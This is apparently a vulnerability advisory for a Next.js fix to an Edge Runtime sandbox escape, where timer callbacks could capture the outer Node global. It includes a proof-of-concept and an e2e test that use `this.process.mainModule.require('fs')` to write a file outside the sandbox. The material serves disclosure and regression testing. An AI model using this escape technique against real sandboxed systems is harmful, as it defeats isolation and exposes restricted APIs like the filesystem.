Sandbox escape / Privilege escalation via edge sandbox timer this binding
Description
The commit fixes how edge sandbox timer callbacks bind their this value. Previously, the edge timer polyfills bound this to globalThis (the outer Node global), which could allow sandboxed code running in the Edge Runtime to capture the outer global (including require) and potentially access restricted APIs (e.g., fs). The patch binds this to the edge runtime global object instead of globalThis, preventing the sandboxed callback from reaching into the outer Node environment. Tests accompany the fix, guarding against sandbox escapes.
Proof of Concept
Proof-of-concept exploit (before fix, expected to succeed) in a sandboxed Edge Runtime context:
// This demonstrates how a sandboxed timer callback could access the outer process and require
setTimeout(function (this: any) {
// In the vulnerable (pre-fix) scenario, `this` could be bound to the outer Node globalThis
const outer: any = this
// Attempt to access restricted API via Node's require
const fs = outer.process.mainModule.require('fs') as typeof import('fs')
fs.writeFileSync('/tmp/hello_sandbox.txt', 'sandbox? what sandbox?')
}, 0)
Expected outcome before the fix: a file is created at /tmp/hello_sandbox.txt, indicating the sandbox escaped to the outer Node environment and could import restricted modules.
After the fix in this commit, the same code binds `this` to the Edge Runtime global object, which does not expose `process.mainModule.require`, so the same code would throw or fail to access `require`, failing to escape the sandbox.
Commit Details
Author: Janka Uryga
Date: 2026-06-12 21:28 UTC
Message:
fix: this in edge sandbox setTimeout/setInterval (#94754)
Our attempts at setting the correct `this` in our
`setTimeout`/`setInterval` polyfills were slightly incorrect, because
they used the wrong global object.
(Thanks to [cyberjoker](https://hackerone.com/cyberjoker) for
discovering this)
Triage Assessment
Vulnerability Type: Sandbox escape / Privilege escalation
Confidence: HIGH
Reasoning:
Commit updates edge sandbox timeouts/intervals to bind this to the edge global object instead of the globalThis, preventing sandbox callbacks from capturing the outer (Node) global and potentially accessing restricted APIs (e.g., require, fs). The accompanying tests explicitly guard against sandbox escape, indicating a security remediation for sandbox isolation.
Verification Assessment
Vulnerability Type: Sandbox escape / Privilege escalation via edge sandbox timer this binding
Confidence: HIGH
Affected Versions: <= 16.2.2
Code Diff
diff --git a/packages/next/src/server/web/sandbox/context.ts b/packages/next/src/server/web/sandbox/context.ts
index 431505ae5165..10b34ad89933 100644
--- a/packages/next/src/server/web/sandbox/context.ts
+++ b/packages/next/src/server/web/sandbox/context.ts
@@ -436,7 +436,7 @@ Learn More: https://nextjs.org/docs/messages/edge-dynamic-code-evaluation`),
// @ts-ignore the timeouts have weird types in the edge runtime
context.setInterval = (...args: Parameters<typeof setInterval>) =>
- intervalsManager.add(args)
+ intervalsManager.add([context, ...args])
// @ts-ignore the timeouts have weird types in the edge runtime
context.clearInterval = (interval: number) =>
@@ -444,7 +444,7 @@ Learn More: https://nextjs.org/docs/messages/edge-dynamic-code-evaluation`),
// @ts-ignore the timeouts have weird types in the edge runtime
context.setTimeout = (...args: Parameters<typeof setTimeout>) =>
- timeoutsManager.add(args)
+ timeoutsManager.add([context, ...args])
// @ts-ignore the timeouts have weird types in the edge runtime
context.clearTimeout = (timeout: number) =>
diff --git a/packages/next/src/server/web/sandbox/resource-managers.ts b/packages/next/src/server/web/sandbox/resource-managers.ts
index 7a51095d75cf..fb5096b4bf15 100644
--- a/packages/next/src/server/web/sandbox/resource-managers.ts
+++ b/packages/next/src/server/web/sandbox/resource-managers.ts
@@ -23,9 +23,9 @@ abstract class ResourceManager<T, Args> {
class IntervalsManager extends ResourceManager<
number,
- Parameters<typeof setInterval>
+ Parameters<typeof webSetIntervalPolyfill>
> {
- create(args: Parameters<typeof setInterval>) {
+ create(args: Parameters<typeof webSetIntervalPolyfill>) {
// TODO: use the edge runtime provided `setInterval` instead
return webSetIntervalPolyfill(...args)
}
@@ -37,9 +37,9 @@ class IntervalsManager extends ResourceManager<
class TimeoutsManager extends ResourceManager<
number,
- Parameters<typeof setTimeout>
+ Parameters<typeof webSetTimeoutPolyfill>
> {
- create(args: Parameters<typeof setTimeout>) {
+ create(args: Parameters<typeof webSetTimeoutPolyfill>) {
// TODO: use the edge runtime provided `setTimeout` instead
return webSetTimeoutPolyfill(...args)
}
@@ -49,7 +49,10 @@ class TimeoutsManager extends ResourceManager<
}
}
+export type GlobalObject = import('edge-runtime').EdgeRuntime['context']
+
function webSetIntervalPolyfill<TArgs extends any[]>(
+ globalObject: GlobalObject,
callback: (...args: TArgs) => void,
ms?: number,
...args: TArgs
@@ -58,11 +61,12 @@ function webSetIntervalPolyfill<TArgs extends any[]>(
// node's `setInterval` sets `this` to the `Timeout` instance it returned,
// but web `setInterval` always sets `this` to `window`
// see: https://developer.mozilla.org/en-US/docs/Web/API/Window/setInterval#the_this_problem
- return callback.apply(globalThis, args)
+ return callback.apply(globalObject, args)
}, ms)[Symbol.toPrimitive]()
}
function webSetTimeoutPolyfill<TArgs extends any[]>(
+ globalObject: GlobalObject,
callback: (...args: TArgs) => void,
ms?: number,
...args: TArgs
@@ -72,7 +76,7 @@ function webSetTimeoutPolyfill<TArgs extends any[]>(
// node's `setTimeout` sets `this` to the `Timeout` instance it returned,
// but web `setTimeout` always sets `this` to `window`
// see: https://developer.mozilla.org/en-US/docs/Web/API/Window/setTimeout#the_this_problem
- return callback.apply(globalThis, args)
+ return callback.apply(globalObject, args)
} finally {
// On certain older node versions (<20.16.0, <22.4.0),
// a `setTimeout` whose Timeout was converted to a primitive will leak.
diff --git a/test/e2e/edge-runtime-timer-this/app/route.ts b/test/e2e/edge-runtime-timer-this/app/route.ts
new file mode 100644
index 000000000000..15f29c538e8c
--- /dev/null
+++ b/test/e2e/edge-runtime-timer-this/app/route.ts
@@ -0,0 +1,24 @@
+export const runtime = 'edge'
+
+export async function GET() {
+ const result = await new Promise<string>((resolve) => {
+ setTimeout(function (this: typeof globalThis) {
+ try {
+ // The `this` available here should be the edge sandbox global object,
+ // not the one from node. If we get the node one, we can access require
+ // and thus modules that are not allowed in the edge runtime, like 'fs'.
+ const outerGlobalThis = this
+ const fs = outerGlobalThis.process.mainModule!.require(
+ 'fs'
+ ) as typeof import('fs')
+
+ fs.writeFileSync('hello.txt', 'sandbox? what sandbox?')
+ resolve('escape successful')
+ } catch (error) {
+ resolve('escape failed:\n' + (error as Error).toString())
+ }
+ })
+ })
+
+ return new Response(result)
+}
diff --git a/test/e2e/edge-runtime-timer-this/edge-runtime-timer-this.test.ts b/test/e2e/edge-runtime-timer-this/edge-runtime-timer-this.test.ts
new file mode 100644
index 000000000000..fc37cc1969e7
--- /dev/null
+++ b/test/e2e/edge-runtime-timer-this/edge-runtime-timer-this.test.ts
@@ -0,0 +1,36 @@
+import { nextTestSetup } from 'e2e-utils'
+
+const enableCacheComponents = process.env.__NEXT_CACHE_COMPONENTS === 'true'
+
+describe('edge-runtime-timer-this', () => {
+ const { next, skipped } = nextTestSetup({
+ files: __dirname,
+ // This is testing the edge runtime sandbox, which is only used in `next start`.
+ skipDeployment: true,
+ })
+
+ if (skipped) {
+ return
+ }
+
+ if (enableCacheComponents) {
+ it.skip('skipped because `runtime = "edge"` is not allowed in cacheComponents', () => {})
+ return
+ }
+
+ it('should not expose the outer globalThis to edge runtime callbacks', async () => {
+ const res = await next.fetch('/')
+ const text = await res.text()
+
+ // If the sandbox is escaped, the route resolves with exactly "escape successful"
+ // after writing a file via the outer process. It should instead fail to
+ // reach the outer globalThis and resolve with "escape failed:" plus the error.
+ expect(await next.hasFile('hello.txt')).toBe(false)
+ expect(text).not.toBe('escape successful')
+
+ expect(text).toMatchInlineSnapshot(`
+ "escape failed:
+ TypeError: Cannot read properties of undefined (reading 'require')"
+ `)
+ })
+})
diff --git a/test/e2e/edge-runtime-timer-this/next.config.ts b/test/e2e/edge-runtime-timer-this/next.config.ts
new file mode 100644
index 000000000000..e4f5738a310b
--- /dev/null
+++ b/test/e2e/edge-runtime-timer-this/next.config.ts
@@ -0,0 +1,5 @@
+import type { NextConfig } from 'next'
+
+const nextConfig: NextConfig = {}
+
+export default nextConfig